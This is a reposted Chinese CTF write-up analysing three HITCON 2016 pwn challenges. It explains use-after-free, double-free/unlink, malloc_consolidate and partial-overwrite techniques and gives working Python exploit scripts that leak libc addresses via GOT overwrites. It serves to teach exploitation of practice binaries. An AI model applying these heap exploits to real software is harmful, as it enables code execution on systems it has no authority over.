Hitcon 2016 Pwn赛题学习

转载

weixin_30652897 于 2017-04-26 01:21:00 发布 98 收藏 1
文章标签： shell 数据结构与算法
原文链接：http://www.cnblogs.com/Ox9A82/p/6766261.html

PS:这是我很久以前写的，大概是去年刚结束Hitcon2016时写的。写完之后就丢在硬盘里没管了，最近翻出来才想起来写过这个，索性发出来

0x0 前言

Hitcon个人感觉是高质量的比赛，相比国内的CTF，Hitcon的题目内容更新，往往会出现一些以前从未从题目中出现过的姿势。同时观察一些CTF也可以发现，往往都是国外以及台湾的CTF中首先出现的姿势，然后一段时间后才会被国内的CTF学习到。
此次Hitcon2016目前还未发现有中文的writeup放出，由于Hitcon题目的高质量，所以这里写一篇Hitcon Pwn题目的赛题分析，会从解题思路和出题思路两方面去分析。
题目列表：

- Pwn100-Secret Holder （30解出）
- Pwn200-ShellingFolder （39解出）
- Pwn300-Sleepy Holder （1解出）
- Pwn300-Babyheap （3解出）
- Pwn350-OmegaGo （3解出）
- Pwn400-Heart Attack （3解出）
- Pwn500-House of Orange （3解出）

可见这次的赛题难度还是相当高的，在强如PPP、LC↯BC等国际名队，国内强队0ops、AAA参赛的情况下。大多数题目也只有几队能够解出。

0x1 Pwn100-Secret Holder

1.分析

这是一道经典的选单程序，可以分配small、big、huge三种堆块，其中small属于small bin，其余两种都属于large bin（一个是4000字节另一个是40万字节）。

```
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
```

程序是x64的，开启了除了PIE之外的所有保护。
这道题的漏洞给的相当明显，当堆块被free掉之后，堆指针却没有清零。因此存在着Use-After-Free漏洞，可以很容易的看出我们能够在一个块中获得一个悬垂指针。

```
puts("Which Secret do you want to wipe?");
puts("1. Small secret");
puts("2. Big secret");
puts("3. Huge secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v0 = atoi(&s);
switch ( v0 )
{
  case 2:
    free(big_ptr);
    big_num = 0;
    break;
  case 3:
    free(huge_ptr);
    huge_num = 0;
    break;
  case 1:
    free(small_ptr);
    small_num = 0;
    break;
}
```

一般存在这种情况就都是使用double free的利用方法。但是这道题比较不同的地方，也是难点所在的地方是，程序给出了一个大小为40万字节的块，在分配属于large bin大小的堆块的时候会首先进行一系列的合并，然后检查large bin表和unsorted bin表等一系列bins中是否存在可以满足我们需求大小的块，明显这些bins中是不可能存在40万字节这么大的块的。然后malloc会寄希望于从top chunk中分配，对于4000字节还好但是40万字节明显top chunk本身都不会有这么大。
那么系统接下来会去试图扩展堆的大小，使用的函数是sysmalloc，这个函数会首先判断是否满足mmap的分配条件，如果要分配的大小大于mmap的阀值（mp_.mmap_threshold），并且此进程通过mmap分配的总内存数量（mp_.n_mmaps）小于设定的最大值的话（mp_.n_mmaps_max），就会使用mmap分配

```
if ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
   &&(mp_.n_mmaps < mp_.n_mmaps_max))
   {
      ……
   }
```

毫无疑问，我们的40万字节的分配满足这两个条件，但这不是我们想看到的。
因为初始的堆是由brk方式分配的，其中brk分配的堆的地址是紧邻着bss段的（如果存在ASLR则会加一个随机的偏移值）。而mmap分配的内存则会创建一个内存映射段出来，这两者分配出来的内存的地址相距是很远的。
那么有没有办法让40万字节通过brk分配呢？答案是有的，sysmalloc在mmap出内存之后会随之更新mp_.n_mmaps_max值，如下所示：

```
unsigned long sum;
sum = atomic_exchange_and_add (&mp_.mmapped_mem, size) + size;
atomic_max (&mp_.max_mmapped_mem, sum);
```

这样当下次判断的时候，就不再满足mmap分配的条件了，从而使得通过brk来分配。
对于double free的利用，我们通常采取的手段是围绕着悬垂指针构造两个伪堆块结构，并且设置前一个块为空，这样当我们free掉指针的时候就会触发unlink宏达到执行任意代码的目的。为了实现这一目的，我们必须要让这两个伪堆块属于small bin的范畴。对于x64来说范围是32～1016byte，40字节的small明显属于small bin，但是big和huge均不属于small bin。
如果我们伪造两个small bin来布局内存的话，那么是会引发段错误的，如以下代码所示：

```
if (__builtin_expect (!prev_inuse(nextchunk), 0))
{
  errstr = "double free or corruption (!prev)";
  goto errout;
}
```

这段_int_free中的代码本来的目的是为了防止double free的，它检测了当前块的下一块的prev_inuse域是否被设置，如果我们简单粗暴的直接伪造两个small bin那么相应位置的inuse位肯定是0，从而引发错误，所以我们要做的是在两个伪造的small bin之后再接着伪造一个块就可以绕过这个检测了。

当成功的触发了unlink之后，我们就可以发现原有的big指针被改成了&big-0x18

```
===========================================================================
.bss:0000000000602090
.bss:0000000000602090 ; Segment type: Uninitialized
.bss:0000000000602090 ; Segment permissions: Read/Write
.bss:0000000000602090 _bss            segment para public 'BSS' use64
.bss:0000000000602090                 assume cs:_bss
.bss:0000000000602090                 ;org 602090h
.bss:0000000000602090                 assume es:nothing, ss:nothing, ds:_data,
.bss:0000000000602090                 public stdout
.bss:0000000000602090 ; FILE *stdout
.bss:0000000000602090 stdout          dq ?                    ; DATA XREF:
.bss:0000000000602090                                         ; sub_4007B0+22o ...
.bss:0000000000602090                                         ; Copy of shared
.bss:0000000000602098 byte_602098     db ?                    ; DATA XREF:
.bss:0000000000602098                                         ; sub_400820+13w
.bss:0000000000602099                 align 20h
.bss:00000000006020A0 ; void *big_pointer
.bss:00000000006020A0 big_pointer     dq ?                    ; DATA XREF:
.bss:00000000006020A0                                         ;
.bss:00000000006020A8 ; void *huge_pointer
.bss:00000000006020A8 huge_pointer    dq ?                    ; DATA XREF:
.bss:00000000006020A8                                         ;
.bss:00000000006020B0 ; void *small_pointer
.bss:00000000006020B0 small_pointer   dq ?                    ; DATA XREF:
.bss:00000000006020B0                                         ; sub_40086D+D3r ...
.bss:00000000006020B8 big_jisu        dd ?                    ; DATA XREF:
.bss:00000000006020B8                                         ;
.bss:00000000006020BC huge_jisu       dd ?                    ; DATA XREF:
.bss:00000000006020BC                                         ;
.bss:00000000006020C0 small_jisu      dd ?                    ; DATA XREF:
.bss:00000000006020C0                                         ; sub_40086D+BFw ...
.bss:00000000006020C4                 align 8
.bss:00000000006020C4 _bss            ends
.bss:00000000006020C4
```

然后我们再利用renew功能对big_pointer进行写入，如上面的bss布局所示可以轻易的覆盖到big_pointer、huge_pointer、small_pointer，从而实现了任意地址写。
因为题目没有提供libc.so所以需要自己去泄漏libc.so的版本和基地址。因为我们已经具备了任意地址写的能力，所以现在的问题就是如何把任意地址写转换成为任意地址泄漏。
这里我们使用的方法是把free函数的got表值覆盖为输出函数的地址，比如puts。这个方法在去年的XXXX CTF里也有出现过。

2.利用步骤

通过上面的分析我们可以得出以下的利用步骤
1.keep huge
2.wipe huge //提高了mp_.n_mmaps_max的值
3.keep small
4.keep big
5.wipe small
6.wipe big //获取悬垂指针
7.keep huge //构造伪堆块结构
8.wipe big //double free
9.renew big //overwrite big_pointer and huge_pointer
10.renew huge//overwrite free@got by puts@plt
这种情况下的exp如下：

```
from zio import *
from struct import *

io=zio('./sh1',timeout=9999)
#io.gdb_hint()
ptr=0x6020A8

def BinToInt64(bin):
 tuple1=unpack('Q',bin[0:8])
 print tuple1
 str1=str(tuple1)
 int1=int(str1[1:19])
 print int1
 print hex(int1)
 return hex(int1)

fake_chunk=''
fake_chunk+=l64(0)+l64(33)
fake_chunk+=l64(ptr-24)+l64(ptr-16)
fake_chunk=fake_chunk.ljust(32,'a')
fake_chunk+=l64(32)+l64(160)
fake_chunk=fake_chunk.ljust(192,'b')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(352,'c')
fake_chunk+=l64(0)+l64(161)
fake_chunk=fake_chunk.ljust(512,'d')

sc1=l64(1)+l64(0)+l64(0x602018)+l64(0x06020A0)+l64(0x602030)#memset@got
sc2=l64(0x4006c6)+l64(0x4006c6)#puts@plt
sc3=l64(0x602048)+l64(0x06020A0)+l64(0x0602040)#__libc_start_main@got + read@got

io.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
```

```
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline('xxx')

io.read_until('3. Renew secret')#wipe huge
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('3')

io.read_until('3. Renew secret')#keep small
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('1')
io.read_until('Tell me your secret:')
io.writeline('xxx')

io.read_until('3. Renew secret')#keep big
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline('xxx')

io.read_until('3. Renew secret')#wipe small
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')

io.read_until('3. Renew secret')#wipe big
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')

io.read_until('3. Renew secret')#keep huge
io.writeline('1')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(fake_chunk)

io.read_until('3. Renew secret')#wipe big  unlink!!!
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')



io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc1)

io.read_until('3. Renew secret')#renew big
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('2')
io.read_until('Tell me your secret:')
io.writeline(sc2)
```

```
io.writeline(sc2)

#io.gdb_hint()

io.read_until('3. Renew secret')#wipe small   #memset@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
#io.read_until('3. Renew secret')
memset_got=io.read(20)
print 'memset@got==============='
t1=BinToInt64(memset_got[0:8])
print hex(int(str(t1)[3:15],16))

io.read_until('3. Renew secret')#renew huge
io.writeline('3')
io.read_until('3. Huge secret')
io.writeline('3')
io.read_until('Tell me your secret:')
io.writeline(sc3)

io.read_until('3. Renew secret')#wipe small   read@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('1')
read_got=io.read(20)
print 'read@got================'
t1=BinToInt64(read_got[0:8])
print hex(int(str(t1)[3:15],16))

io.read_until('3. Renew secret')#wipe big   _libc_start_main@got
io.writeline('2')
io.read_until('3. Huge secret')
io.writeline('2')
libc_start=io.read(20)
print 'libc_start_main==========='
t1=BinToInt64(libc_start[0:8])
print hex(int(str(t1)[3:15],16))

#io.gdb_hint()
io.read()
```

由于libc.so取决于本地测试时的版本，所以这里就只提供leak的exp了，最后取得shell已经变得非常简单了，只需要随意覆盖一个got表为magic system地址即可。

3.总结

double free利用的题在CTF中较为常见，但是结合了large bin和small bin的double free确实是很少的。这里面对于堆块的brk和mmap分配也需要对ptmalloc有一定了解的人才能及时的解出。

0x2 Pwn200-Shelling Folder

1.分析

同样是x64下的Linux程序，功能大体上是一个目录管理程序，所有保护全开，但是提供了libc.so。

```
************************************
           ShellingFolder
************************************
 1.List the current folder
 2.Change the current folder
 3.Make a folder
 4.Create a file in current folder
 5.Remove a folder or a file
 6.Caculate the size of folder
 7.Exit
************************************
Your choice:
```

在程序里主要的结构如下：
总共是136个字节

```
[80] child_pointer
[8] parents_pointer
[32]    name
[8] size
[4] flag
```

其中第一个域是指向自己子结构的指针，共10个。说明一个目录最多能存放10个子结构。第二个域是父目录的指针，指向自己的上一级结构。第三个域储存这个结构的名称。第四个储存这个文件的大小，注意只有这个结构表示文件时才使用size域。最后一个域用来表示这个结构是目录还是文件。
这道题总共有2个洞，虽然代码有些啰嗦，但是其中第一洞还是想到明显的。可以发现存在一个栈溢出能够覆盖掉局部变量，如下所示我们可以计算出栈上的缓冲区s的大小是24个字节

```
-0000000000000030 s               db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined
-000000000000002A                 db ? ; undefined
-0000000000000029                 db ? ; undefined
-0000000000000028                 db ? ; undefined
-0000000000000027                 db ? ; undefined
-0000000000000026                 db ? ; undefined
-0000000000000025                 db ? ; undefined
-0000000000000024                 db ? ; undefined
-0000000000000023                 db ? ; undefined
-0000000000000022                 db ? ; undefined
-0000000000000021                 db ? ; undefined
-0000000000000020                 db ? ; undefined
-000000000000001F                 db ? ; undefined
-000000000000001E                 db ? ; undefined
-000000000000001D                 db ? ; undefined
-000000000000001C                 db ? ; undefined
-000000000000001B                 db ? ; undefined
-000000000000001A                 db ? ; undefined
-0000000000000019                 db ? ; undefined
-0000000000000018 var_18          dq ?
```

但是我们进行拷贝的时候却是拷贝了30个字节，这样就覆盖了v3变量的值，但是并不能达到返回地址和保存的ebp

```
  while ( v4 <= 9 )
  {
    if ( *(_QWORD *)(a1 + 8LL * v4) )
    {
      v3 = a1 + 120;
      Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL));
      if ( *(_DWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 128LL) == 1 )
      {
        *(_QWORD *)v3 = *(_QWORD *)v3;
      }
      else
      {
        printf("%s : size %ld\n", &s, *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL));
        *(_QWORD *)v3 += *(_QWORD *)(*(_QWORD *)(a1 + 8LL * v4) + 120LL);
      }
    }
    ++v4;
  }
```

而这个v3局部变量是一个指针，之后会对这个指针指向的值做一个加法操作，我们这里的*(_QWORD *)((_QWORD *)(a1 + 8LL* v4) + 120LL)的值其实就是之前设置的当前目录下的文件的size值。但是这个值是被用户控制的，而且是可正可负的。由于加法操作数可正可负，所以这就相当于是造成了一个任意地址写（write-anything-anywhere）的漏洞。
第二个漏洞就比较隐蔽了，在作者实现的MyCopy函数中，没有给拷贝的字符串加上字符串结束符

```
void *__fastcall Mycopy(void *a1, const char *a2)
{
  size_t n; // ST28_8@1

  n = strlen(a2);
  return memcpy(a1, a2, n);
}
```

而这道题恰好又存在着输出功能，那么我们就有可能利用这个漏洞来实现地址泄漏。
如果这道题没有开PIE保护，那么利用起来很简单。可以通过任意地址写去改写bss段上存有的当前目录的指针，来泄漏出got表的值，然后因为题目提供了libc，所以可以直接计算出地址，再利用任意地址写写到got表中就可以拿到shell了。
然而，在保护全开的情况下，我们并没有一个确切的地址去写，因为所有模块的地址均是不定的。所以这里使用的方法是部分覆盖指针法，我们只向目标中写入25个字节以覆盖最低位。

```
__int64 __fastcall sub_1334(__int64 a1)
{
  if ( !a1 )
    exit(1);
  v4 = 0;
  memset(&s, 0, 0x20uLL);
  while ( v4 <= 9 )
  {
    if ( *(_QWORD *)(a1 + 8LL * v4) )
    {
      v3 = a1 + 120;
      Mycopy(&s, (const char *)(*(_QWORD *)(a1 + 8LL * v4) + 88LL));
```

我们可以看到这里v3的值在发生溢出被覆盖前是等于a1+120的，而a1是什么呢？a1是全局变量0x202020也就是当前目录的结构指针。那么v3的值其实是指向当前目录结构的size域的，我们知道size域距离块首有0x78的偏移，如果能够进行合理的猜测那么就可以实现覆盖掉10个指针中的某一个，并把它指向我们任意定义的地方。然后通过1号list功能就可以实现泄漏内存了。
具体要把指针指向哪里呢？我们要思考一下，之所以堆可以泄漏内存是因为free状态的堆存在着fd和bk指针，那么我们首先就要去构造一些这样的空块出来，然后再把指针指过去实现泄漏。
即只覆盖指针的低地址部分，这种方法并不精确但是通过不断的尝试我们可以摸索出一个偏移以使得把指针指向这里之后再次泄漏，把指针附近的内存读出，因为在ptmalloc中，一个块被释放后会被丢人unsorted bin中，只要我们能够读到后面的unsorted bin的fd和bk指针就可以获取到bins[]地址，从而计算出libc的基地址。

一旦获得了libc的基地址一切就简单了，因为题目已经提供了libc文件。所以我们可以直接算出我们想要的地址。在libc中存在着一个非常好用的位置，即是ptmalloc的一系列hook函数，我们可以通过libc地址算出free_hook的地址，然后把magic system写入free_hook。之后，当我们再次调用free函数时就会转向我们在free_hook中指定的magic system了。
思路已经理清楚了。

1.创建8个文件
2.创建一个可造成溢出的文件
3.把8个文件中的后面几个释放掉，以加入unsorted bin
2.计算大小
3.列出当前目录下的内容

exp如下：

```
from zio import *
from struct import *
io=zio('./sf',timeout=9999)

#io.gdb_hint()

def BinToInt64(bin):
    tuple1=unpack('Q',bin[0:8])
    print tuple1
    str1=str(tuple1)
    int1=int(str1[1:19])
    print int1
    print hex(int1)
    return hex(int1)

name_overflow=''
name_overflow=name_overflow.ljust(24,'a')+'\x28'
```

```
offset='200'

i=0
for i in range(0,8):
 io.read_until('Your choice:')#create file x8
 io.writeline('4')
 io.read_until('Name of File:')
 io.writeline(str(i))
 io.read_until('Size of File:')
 io.writeline('100')
 i+=1


io.read_until('Your choice:')#create file
io.writeline('4')
io.read_until('Name of File:')
io.writeline(name_overflow)
io.read_until('Size of File:')
io.writeline(offset)

i=5
for i in range(5,8):
 io.read_until('Your choice:')#remove file
 io.writeline('5')
 io.read_until('Choose a Folder or file :')
 io.writeline(str(i))
 i+=1


#io.gdb_hint()
io.read_until('Your choice:')#Caculate size
io.writeline('6')

io.read_until('Your choice:')#list folder
io.writeline('1')

io.read_until('2')
get=io.read(8)
addr=BinToInt64(get)
addr=int(str(addr[3:15]),16)
print hex(addr)

io.read()
```

即可得到bins的地址，然后再推算出malloc_hook的地址。我们为了利用方便同样使用了magic system，然后利用前面的任意地址写把magic system的地址写到malloc_hook上。之后当我们再次触发malloc就可以成功的得到shell。

0x3 Pwn300-Sleepy Holder

题目的程序与Pwn100基本上是一致的
main函数同样是一个选单，分为：

```
Waking Sleepy Holder up ...
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
```

其中块依然是分为small（40）、big（4000）、huge（400000）三种

```
_int64 keep()
{
  int v0; // eax@3
  char s; // [sp+10h] [bp-10h]@3
  __int64 v3; // [sp+18h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  puts("What secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  if ( !huge_jisu )
    puts("3. Keep a huge secret and lock it forever");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 2 )
  {
    if ( !big_jisu )
    {
      big_pointer = calloc(1uLL, 4000uLL);
      big_jisu = 1;
      puts("Tell me your secret: ");
      read(0, big_pointer, 4000uLL);
    }
  }
  else if ( v0 == 3 )
  {
    if ( !huge_jisu )
    {
      huge_pointer = calloc(1uLL, 400000uLL);
      huge_jisu = 1;
      puts("Tell me your secret: ");
      read(0, huge_pointer, 400000uLL);
    }
  }
  else if ( v0 == 1 && !small_jisu )
  {
    small_pointer = calloc(1uLL, 40uLL);
    small_jisu = 1;
    puts("Tell me your secret: ");
    read(0, small_pointer, 40uLL);
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}
```

同样是释放后只将计数清零，并没有清零指针，所以UAF漏洞依然存在

```
__int64 wipe()
{
  int v0; // eax@1
  char s; // [sp+10h] [bp-10h]@1
  __int64 v3; // [sp+18h] [bp-8h]@1

  v3 = *MK_FP(__FS__, 40LL);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 1 )
  {
    free(small_pointer);
    small_jisu = 0;          //只清零计数，并没有清零指针
  }
  else if ( v0 == 2 )
  {
    free(big_pointer);
    big_jisu = 0;            //只清零计数，并没有清零指针
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}
```

看到这里我们应该意识到这道题与Pwn100的差别了，就是huge块只可以分配一次，并且无法释放。
所以要另想办法才行，不得不佩服Hitcon CTF主办方的是（可能是217？）这道题的利用思路很有可能是是首创的，甚至之前都从来没有出现过的。
在ptmalloc中分配一个large bin的时候，会调用malloc_consolidate()函数来清除fastbin中的块。
具体操作如下：

```
 else //当分配large bin时
 {
    idx = largebin_index(nb);
    if (have_fastchunks(av))
      malloc_consolidate(av);
 }
```

malloc_consolidate函数其实只在存在fastbin块时进行操作

```
static void malloc_consolidate(mstate av)
{
  //...
  if (get_max_fast () != 0) //当fastbin存在时
    {
        //...
      do
        {
            //...
           do
            {
                //...
            if (!prev_inuse(p)) //合并fastbin中的相邻空块
            {
                  prevsize = p->prev_size;
                  size += prevsize;
              p = chunk_at_offset(p, -((long) prevsize));
              unlink(p, bck, fwd);
                }
                //...
            } while ( (p = nextp) != 0); //遍历一条fastbin链表里的每一个块
        }while (fb++ != maxfb); //遍历每一条fastbin链表
   }
   else //当fastbin不存在时
  {
    //...
  }
}
```

目的是把fastbin中的块的状态设置为空，因为我们知道fastbin中的块是始终处于使用状态的，就是说fastbin块的后块的pre_inuse位始终置1。但是，一旦触发了malloc_consolidate函数就会把fastbin块丢入small bin中并且设置为释放状态，即下一块的pre_inuse域为0。

```
1   keep small
2   keep big     //防止small与big合并
3   wipe small   //small进入fastbin表
4   keep huge    //分配large bin使得fastbin块进入small bin
5  wipe small   //再次free同一个块，是为了让它存在于fastbin表中
6  keep small   //fastbin的项被取下,之前释放的内存被返还（在这块内存中布局伪堆结构）
7  wipe big     //unlink
8  renew small  //覆写指针，接着就是任意地址写
```

这道题利用的点是，当分配large bin的时候，会把fastbin的块设为free状态，并且丢进small bins中。从而使得fastbin后面的big chunk的inuse位为0。之后的目的就是要保持住这个为0的inuse位，最后在这个块前面重新取回那个small bin，实现触发unlink造成任意地址写。
所以分配huge块（large bin）的意义就是为了触发malloc_consolidate函数，而第二次释放fastbin块是为了让它加入到fastbin链表中，而且分配的时候如果是从fastbin分配过来的话那么根本就不会更改inuse域。
所以这个题其实利用了这样的一种矛盾：
1.从fastbin分配不会设置后块的pre_inuse位。
2.malloc_consolidate会把fastbin的后块pre_inuse位清零。

本质的利用方法依然是unlink，修改了块的指针，然后可以实现指针的覆写从而导致任意地址写。解下的步骤与Pwn100就很类似了。

转载于:https://www.cnblogs.com/Ox9A82/p/6766261.html